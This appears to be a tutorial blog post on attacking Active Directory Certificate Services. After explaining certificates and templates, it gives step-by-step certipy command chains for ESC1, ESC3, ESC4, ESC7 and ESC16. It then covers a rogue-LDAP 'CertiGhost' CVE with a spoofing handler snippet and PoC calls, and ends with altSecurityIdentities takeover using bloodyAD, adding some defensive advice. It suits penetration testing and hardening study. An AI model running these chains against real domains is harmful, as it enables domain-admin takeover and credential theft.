Post

ADCS - Active Directory Certificate Services

Active Directory Certificate Services (ADCS) is a Microsoft server role that provides customizable services for creating and managing public key certificates used in software security systems.

Overview

Active Directory Certificate Services (ADCS) is a Microsoft server role that provides customizable services for creating and managing public key certificates used in software security systems. It is part of the Windows Server operating system and is used to create a public key infrastructure (PKI) that can be used to secure communications, authenticate users, and encrypt data.

ADCS allows organizations to issue and manage digital certificates, which are used to verify the identity of users, devices, and services.

ADCS Terms

Certificates

A digital certificate is an electronic document used to prove the ownership of a public key. It contains information about the key, the identity of its owner (the subject), and the digital signature of an entity that has verified the certificate’s contents, usually a trusted third party known as a Certificate Authority (CA).

It is a X-509-formatted file that contains the following information:

  • Subject: The entity that the certificate represents (e.g., a user, device, or service).
  • Public Key: The public key associated with the subject.
  • Not Before and Not After: The validity period of the certificate.
  • Issuer: The entity that issued the certificate (usually a CA).
  • Serial Number: A unique identifier for the certificate.
  • Subject Alternative Name (SAN): Additional identities associated with the certificate (e.g., DNS names, IP addresses).
  • Basic Constraints: Indicates whether the certificate can be used as a CA certificate or an end-entity certificate.
  • Extended Key Usage: Specifies the purposes for which the certificate can be used (e.g., server authentication, client authentication, code signing).
  • Signature Algorithm: The algorithm used to sign the certificate.

Certificate Authority (CA)

A Certificate Authority (CA) is a trusted entity that issues digital certificates. The CA verifies the identity of the entity requesting the certificate and signs the certificate with its private key. This process ensures that the certificate can be trusted by other entities.

The root CA certificate is the top-level certificate in a certificate hierarchy. It is self-signed and serves as the trust anchor for all other certificates issued by the CA.

ADCS stores trusted root CA in four locations under the container CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com:

  • Certification Authorities container: Defines top-tier root CA certificates
  • Enrolment Services container: Encapsulates key attributes such as pKIEnrollmentService objectClass, cACertificate data, dNSHostName and certificateTemplates
  • NTAuthCertificates AD object: Contains cACertificate properties defining a series of trusted CA certificates
  • AIA (Authority Information Access) container: Aids in validating certificate chains

Certificate Templates

Certificate templates are used to establish certificate properties and settings for different types of certificates, that include enrolment policies, key usage, and security settings. They define the attributes and constraints of the certificates issued by a CA.

ADCS Attacks

ESC1 (Enrolee-Supplied Subject for Client Authentication)

The ESC1 attack is a method used to exploit the Active Directory Certificate Services (ADCS) to issue certificates for any user or computer account in the domain. This attack takes advantage of a misconfiguration in the certificate template that allows low-privileged users to request certificates with an arbitrary identity within the certificate’s SAN (Subject Alternative Name) field. This can lead to privilege escalation by allowing an attacker to obtain a certificate for a high-privileged account, such as a domain administrator, and then use that certificate to authenticate to the domain.

ESC1 Requirements

ESC1 is created by the following conditions:

  • Enrolee Supplies Subject: The certificate template must allow the enrolee to specify the subject name by having the flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set (“Supply in the request” option under the “Subject Name” tab). With this enabled, the user specifies the subject name when requesting a certificate, not the AD.
  • Authentication EKU: The certificate template must include an EKU that permits client authentication, such as “Client Authentication” (OID 1.3.6.1.5.5.7.3.2), “Smart Card Logon” (OID 1.3.6.1.4.1.311.20.2.2), “PKINIT Client Authentication” (OID 1.3.6.1.5.2.3.4), or the overly permissive “Any Purpose” (OID 2.5.29.37.0)
  • Permissive Enroollment Permissions: The user must have permissions to enroll in the certificate template, which can be granted through the Enroll or Autoenroll permissions on the template.
  • No Effective Security Gates: The certificate template does not enforce manager approval nor requires authorized signatures.

ESC1 Steps

Enumeration

1
certipy find -u 'mhijuxs@sw4.local' -p 'Password123!' -dc-ip <DC-IP> -vulnerable -stdout

Command breakdown:

  • certipy find: Find vulnerable certificate templates
  • -u: User to authenticate as
  • -p: Password for the user
  • -dc-ip: IP address of the domain controller
  • -vulnerable: Output only vulnerable certificate templates
  • -stdout: Output to standard output

Requesting Certificate

1
certipy req -u 'mhijuxs@sw4.local' -p 'Password123!' -dc-ip <DC-IP> -ca <CA> -template <VulnerableTemplate> -upn <TargetUser> 

Authenticating with the Certificate

1
certipy auth -pfx <Certificate.pfx> -user <TargetUser> -dc-ip <DC-IP>

After that, we receive a TGT and the user’s NTLM hash.

ESC3 (Enrollment Agent Certificate)

The ESC3 attack abuses a certificate template that grants the Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1). A certificate carrying this EKU turns its holder into an enrollment agent, an identity that Active Directory trusts to request certificates on behalf of other users. If a low-privileged user is allowed to enroll in such a template, they can obtain the agent certificate and then use it to request a client-authentication certificate for any user, such as a domain administrator, and authenticate as that user.

Unlike ESC1, the attacker never supplies an arbitrary SAN. The privilege comes from the second request being signed by an enrollment agent, which the CA accepts as authorization to enroll for someone else.

ESC3 Requirements

The attack chains two templates:

  • Agent template: a template with the Certificate Request Agent EKU that the attacker is allowed to enroll in. This yields the enrollment agent certificate.
  • Target template: a template that has a client authentication EKU (for example the default User template), that the intended victim can enroll in, and where the CA and template do not restrict which enrollment agents may act or for which users (no enrollment-agent restrictions, and Authorized Signatures Required satisfied by a single Certificate Request Agent signature).

ESC3 Exploitation

  1. Enumerate (certipy flags the template with ESC3 and the Certificate Request Agent EKU)

    1
    
     certipy find -u 'user@domain' -p 'password' -dc-ip <DC-IP> -vulnerable -stdout
    
  2. Request the enrollment agent certificate from the agent template

    1
    2
    3
    4
    
     certipy req \
         -u 'user@domain' -p 'password' \
         -dc-ip <DC-IP> -target 'CA.domain' \
         -ca 'Domain-CA' -template 'EnrollmentAgentTemplate'
    

    This writes an agent .pfx belonging to our user.

  3. Request a certificate on behalf of a privileged user, signing the request with the agent certificate

    1
    2
    3
    4
    5
    
     certipy req \
         -u 'user@domain' -p 'password' \
         -dc-ip <DC-IP> -target 'CA.domain' \
         -ca 'Domain-CA' -template 'User' \
         -pfx 'agent.pfx' -on-behalf-of 'DOMAIN\administrator'
    

    -on-behalf-of takes the NETBIOS\user form of the target. The -pfx is the agent certificate from step 2, which is what supplies the Certificate Request Agent signature.

  4. Authenticate with the resulting certificate

    1
    
     certipy auth -pfx 'administrator.pfx' -dc-ip <DC-IP>
    

    We receive the target’s TGT and NTLM hash.

ESC4 (Template Hijacking)

Occurs when we have permission to modify a certificate template, allowing us to add a new template or modify an existing one. This can lead to the issuance of certificates for any user or computer account in the domain.

By default, only high privileged users can modify certificate templates, but a misconfiguration can allow low-privileged users to modify them.

ESC4 Requirements

If a user has FullControl, WriteDacl, WriteOwner or write property rights on attributes like msPKI-Enrollment-Flag, msPKI-Certificate-Name-Flag, pKIExtendedKeyUsage, nTSecurityDescriptor, they are likely to be able to modify the template.

ESC4 Exploitation

  1. Enumerate Certificate Templates

    1
    
     certipy find -u 'user@domain' -p 'Password' -vulnerable -stdout
    
  2. Modify the Template

    Certipy allows us to modify the template to a known vulnerable configuration. This can be done by writing a default configuration that allows low-privileged users to request certificates for any user, like the ESC1 attack.

    1
    2
    3
    4
    
     certipy template \
         -u 'user@domain' -p 'password' \
         -dc-ip <DC-IP> -template 'VulnerableTemplate' \
         -write-default-configuration
    

    After that, if we enumerate the vulnerable templates once more, you will see that the template is now vulnerable to an ESC1 attack.

  3. Request a Certificate

    1
    2
    3
    4
    5
    
     certipy req \
         -u 'user@domain' -p 'password' \
         -dc-ip <DC-IP> -target 'TARGET FQDN' \
         -ca 'Domain CA' -template 'VulnerableTemplate' \
         -upn 'administrator@domain' 
    
  4. Authenticate with the Certificate

    1
    2
    3
    
     certipy auth \
         -pfx <Certificate.pfx> \
         -dc-ip <DC-IP>
    

ESC7 (Vulnerable CA Access Control)

ESC7 is a misconfiguration on the CA itself rather than on a template. Two CA access rights matter:

  • ManageCA (CA Administrator): can change CA configuration, enable disabled templates, add or remove certificate managers (officers), and toggle CA-wide flags such as EDITF_ATTRIBUTESUBJECTALTNAME2 (which turns the CA into ESC6).
  • ManageCertificates (Certificate Manager / officer): can approve pending or denied certificate requests.

Neither right, on its own, is “issue me a domain admin certificate”. The attack is composing them: a principal holding only ManageCA first grants itself the officer role, then approves a request it was not allowed to enroll for. The canonical route uses the built-in SubCA template, which permits an arbitrary SAN but by default only Domain/Enterprise Admins can enroll, so our request is denied and then force-issued.

ESC7 Requirements

  • ManageCA over the target CA (optionally ManageCertificates as well, which lets you skip the add-officer step).

ESC7 Exploitation

  1. Enumerate (certipy flags the CA with ESC7 : User has dangerous permissions)

    1
    
     certipy find -u 'user@domain' -p 'password' -dc-ip <DC-IP> -vulnerable -stdout
    
  2. Add yourself as an officer (grants ManageCertificates)

    1
    2
    3
    4
    
     certipy ca \
         -u 'user@domain' -p 'password' \
         -dc-ip <DC-IP> -ca 'Domain-CA' \
         -add-officer 'user'
    
  3. Enable the SubCA template on the CA (it allows an arbitrary SAN)

    1
    2
    3
    4
    
     certipy ca \
         -u 'user@domain' -p 'password' \
         -dc-ip <DC-IP> -ca 'Domain-CA' \
         -enable-template 'SubCA'
    
  4. Request a certificate for a privileged user via SubCA. Enrollment is denied (we are not a Domain Admin), but certipy saves the request ID and the private key.

    1
    2
    3
    4
    
     certipy req \
         -u 'user@domain' -p 'password' \
         -dc-ip <DC-IP> -ca 'Domain-CA' -template 'SubCA' \
         -upn 'administrator@domain' -sid '<ADMIN-SID>'
    
  5. Approve your own denied request using the officer role from step 2

    1
    2
    3
    4
    
     certipy ca \
         -u 'user@domain' -p 'password' \
         -dc-ip <DC-IP> -ca 'Domain-CA' \
         -issue-request <REQUEST-ID>
    
  6. Retrieve the now-issued certificate, pairing it with the saved key

    1
    2
    3
    4
    
     certipy req \
         -u 'user@domain' -p 'password' \
         -dc-ip <DC-IP> -ca 'Domain-CA' \
         -retrieve <REQUEST-ID>
    
  7. Authenticate with the certificate

    1
    
     certipy auth -pfx 'administrator.pfx' -dc-ip <DC-IP>
    

If the CA’s RPC and web-enrollment endpoints are filtered, certipy’s ca and req management calls will time out. Add -ldap-scheme ldap to drive the CA operations over LDAP instead of the default DCOM/RPC transport.

ESC16 (Security Extension Disabled on CA)

Is identical to the mechanism used in ESC9 attacks, where the end result is a certificate lacking the SID security extension, the difference is that in this case, any certificate template enabling client authentication can be used in the UPN manipulation attack.

If we are an attacker with GenericWrite permissions over the victim account, and this account can enroll in any client authentication template, we can request a certificate for the victim account with a UPN of our choice.

ESC16 Exploitation

  1. Read UPN of the Victim Account (Reference for step 5)

    1
    2
    3
    4
    
     certipy account \
         -u 'attacker@<DOMAIN>' -p 'Passw0rd!' \
         -dc-ip '<DC-IP>' -user 'victim' \
         read
    
  2. Update UPN of the Victim Account: Update the UPN of the victim account to a value that we control, such as administrator.

    1
    2
    3
    4
    
     certipy account \
         -u 'attacker@<DOMAIN>' -p 'Passw0rd!' \
         -dc-ip '<DC-IP>' -upn 'administrator' \
         -user 'victim' update
    
  3. Obtain credentials for the Victim Account: (Can be skipped if already known)

    1
    2
    3
    4
    
     certipy shadow \
         -u 'attacker@<DOMAIN>' -p 'Passw0rd!' \
         -dc-ip '<DC-IP>' -account 'victim' \
         auto
    
  4. Request a Certificate for the Victim Account

    4.1. Set kerberos credential cache (KRB5CCNAME)

    1
    2
    3
    
     ```bash
     export KRB5CCNAME=victim.ccache
     ```
    

    4.2. Request the certificate from any client authentication template (by default the ‘User’ template)

    1
    2
    3
    4
    5
    6
    
     ```bash
     certipy req \
         -k -dc-ip '<DC-IP>' \
         -target 'CA.<DOMAIN>' -ca 'CORP-CA' \
         -template 'User'
     ```
    
  5. Revert UPN of the Victim Account

    1
    2
    3
    4
    
     certipy account \
         -u 'attacker@<DOMAIN>' -p 'Passw0rd!' \
         -dc-ip '<DC-IP>' -upn 'victim@<DOMAIN>' \
         -user 'victim' update
    
  6. Authenticate with the Certificate

    1
    2
    3
    
     certipy auth \
         -dc-ip '<DC-IP>' -pfx 'administrator.pfx' \
         -username 'administrator' -domain '<DOMAIN>'
    

CertiGhost (CVE-2026-54121)

Every ESC above is a misconfiguration: a template that lets the enrollee choose the subject, a CA that honours request SANs, a DACL that should not be there. CertiGhost is not. It works against a default Machine template on a correctly configured CA, and the defect is in how the CA resolves the requester’s identity.

The cdc chase

When a template builds its subject from the directory rather than from the request (the SubjectAltRequireDns / SubjectRequireDnsAsCn name flags, nameFlag & 0x58000000), the CA cannot take the name from the CSR. It has to ask a Domain Controller “who is this requester, and what is its dNSHostName?”, then stamp the answer into the certificate.

MS-WCCE lets the client attach request attributes alongside the CSR. Four are relevant:

AttributeMeaning
CertificateTemplateWhich template to issue from
cdcWhich DC the CA should use for the lookup
rmdThe requester machine’s DNS name
SANRequested subject alternative name

The vulnerability is that the CA honours a caller-supplied cdc. Point it at a host you control and the CA performs its identity lookup against your LDAP server instead of against a real Domain Controller. The directory answer is the certificate’s identity, so whoever answers decides who the certificate belongs to.

Attack flow

  1. Authenticate to the CA’s ICertPassage RPC interface (\pipe\cert, falling back to ncacn_ip_tcp via the endpoint mapper) as a computer account.
  2. Stand up two rogue listeners on the attacking host: an SMB/LSA server on 445 and an LDAP server on 389.
  3. Submit the CSR with cdc:<attacker-ip> and rmd:<target DC DNS name>.
  4. The CA connects back to those listeners. The rogue SMB server validates the CA’s inbound authentication by passing it through to the real DC over Netlogon, so from the CA’s point of view the session is genuinely authenticated. The rogue LDAP server then answers the identity lookup with the target DC’s sAMAccountName, objectSid and dNSHostName instead of the requester’s.
  5. The CA builds and signs a certificate for DC01$.
  6. PKINIT with that certificate returns DC01$’s TGT and NT hash, which is a DCSync.

The substitution is a handful of lines in the rogue LDAP handler, which returns the target’s identity for whatever principal the CA asks about:

1
2
3
4
5
6
7
def _principal(self, sam):
    return {"objectClass":["top","person","organizationalPerson","user","computer"],
            "cn":[self.ecn or sam.rstrip("$")], "sAMAccountName":[self.esam or sam],
            "objectSid":[self.tsid], "objectGUID":[b"\x00"*16], "userAccountControl":["66048"],
            "objectCategory":[f"CN=Computer,CN=Schema,CN=Configuration,{self.dn}"],
            "dNSHostName":[self.edns],
            "servicePrincipalName":[f"HOST/{self.edns}", f"HOST/{self.ecn or self._hnb}"]}

Requirements

  • Any computer account. The requester must be a machine account, because the Machine template’s enrollment rights are granted to Domain Computers.
  • Ports 445 and 389 free on the attacking host, since the CA connects back to them. A local Samba or slapd already bound will make the callback fail and the request will be denied with a generic 0x800706ba.
  • A template whose name flags trigger the lookup. Machine is the default choice; templates that do not build the subject from AD never perform the chase.

Getting a computer account when MachineAccountQuota is 0

The PoC creates a throwaway GHOSTxxxxxxxx$ by default, which needs a non-zero quota. MachineAccountQuota: 0 does not close the attack, it only means you must bring your own machine identity:

1
2
# an existing computer account you already control, by password or NT hash
sudo python3 certighost.py -d '<DOMAIN>' --computer-name 'WS01$' --computer-hash ':<nthash>'
1
2
3
# or a gMSA you can read: no secret needed, the tool derives the hash from
# msDS-ManagedPassword itself
sudo python3 certighost.py -d '<DOMAIN>' -u '<user>' -p '<pass>' --gmsa 'SVC_SQL$'

Root on any domain-joined host is a machine account (/etc/krb5.keytab on Linux, LSA secrets on Windows), and a gMSA sits in Domain Computers by default, so the read right on one is enough.

This is the general lesson about MachineAccountQuota: 0. It is a good hardening default and it genuinely closes Certifried (CVE-2022-26923), sAMAccountName spoofing, and RBCD from a fresh account. It does nothing once you already hold any machine account’s secret. Treat it as raising the cost of a class of attacks, never as removing the class.

Why no template hardening helps

Nothing in this chain is an enrollee-supplied subject, an EDITF_ATTRIBUTESUBJECTALTNAME2 flag, or a loose template DACL. The CA does exactly what it was designed to do; it simply asked an attacker-controlled directory who the requester was and believed the answer. The fix is the patch. Compensating controls are limited to network position (the CA should not be making outbound LDAP/SMB connections to arbitrary hosts) and to monitoring certificate issuance for DC identities that nobody requested.

Certificate Mapping and altSecurityIdentities

When a client authenticates with a certificate (PKINIT, or LDAPS/Schannel client auth), the KDC has to decide which account that certificate represents. There are two mechanisms.

Implicit mapping reads the identity out of the certificate itself, normally a UPN in the Subject Alternative Name, or the szOID_NTDS_CA_SECURITY_EXT SID security extension that modern CAs stamp into every issued certificate.

Explicit mapping ignores the certificate’s own claim about who it belongs to and looks for an account whose multi-valued altSecurityIdentities attribute contains a string describing that certificate. This is the supported way to bind an externally issued certificate (a smartcard from a partner PKI, for example) to a domain account.

Strong and weak mapping types

KB5014754 split the explicit mapping strings into strong and weak forms, and Full Enforcement mode rejects the weak ones. The difference is whether the string pins something the CA cannot re-issue under a different key:

Mapping stringPinsStrength
X509IssuerSerialNumberIssuer DN plus certificate serialStrong
X509SKISubject Key IdentifierStrong
X509SHA1PublicKeySHA1 of the public keyStrong
X509IssuerSubjectIssuer DN plus subject DNWeak
X509SubjectOnlySubject DNWeak
X509RFC822RFC822 name (email address)Weak

Abusing a write on altSecurityIdentities

Any principal holding WriteProperty on altSecurityIdentities (directly, or through GenericAll / GenericWrite) can declare that an arbitrary certificate belongs to the target account. Combined with any certificate the attacker can legitimately obtain from the enterprise CA, this is a full account takeover, and it works even against templates that are not vulnerable to any ESC: the certificate never needs to name the victim, because the directory does that instead.

The attack does not touch the password, does not change group membership, and produces no password-reset event. The mapping simply sits in the attribute until somebody audits it.

Exploitation with the X509IssuerSerialNumber form:

  1. Obtain any client-authentication certificate. It can be a certificate for the attacker’s own account from a completely benign template.

    1
    2
    
     certipy req -u 'attacker@<DOMAIN>' -p 'Passw0rd!' \
         -target 'CA.<DOMAIN>' -ca 'CORP-CA' -template 'User'
    
  2. Read the issuer and serial number off it.

    1
    2
    
     certipy cert -pfx attacker.pfx -out attacker.crt
     openssl x509 -in attacker.crt -noout -issuer -serial
    
  3. Build the mapping string. The format is X509:<I>{issuer}<SR>{serial}. The serial has to be written in reverse byte order relative to how openssl prints it, matching certutil’s rendering:

    1
    2
    3
    
     issuer = "DC=local,DC=corp,CN=CORP-CA"
     serial = "".join("4d:00:00:00:3d:da:7a:59".split(":")[::-1])
     print("X509:<I>" + issuer + "<SR>" + serial)
    
  4. Write it onto the victim.

    1
    2
    3
    
     bloodyAD -u 'attacker' -p 'Passw0rd!' -d '<DOMAIN>' --host '<DC>' \
         set object victim altSecurityIdentities \
         -v 'X509:<I>DC=local,DC=corp,CN=CORP-CA<SR><reversed-serial>' --raw
    
  5. Authenticate as the victim with the attacker’s certificate. Certipy will report that it cannot find an identity inside the certificate, which is expected: the identity comes from the directory.

    1
    
     certipy auth -pfx attacker.pfx -dc-ip '<DC-IP>' -username 'victim' -domain '<DOMAIN>'
    

Audit altSecurityIdentities the way you audit group membership. A single string in one attribute is equivalent to handing out the account’s credentials, it survives password rotation, and no standard “who can reset whose password” report will surface it.

References

This post is licensed under CC BY 4.0 by the author.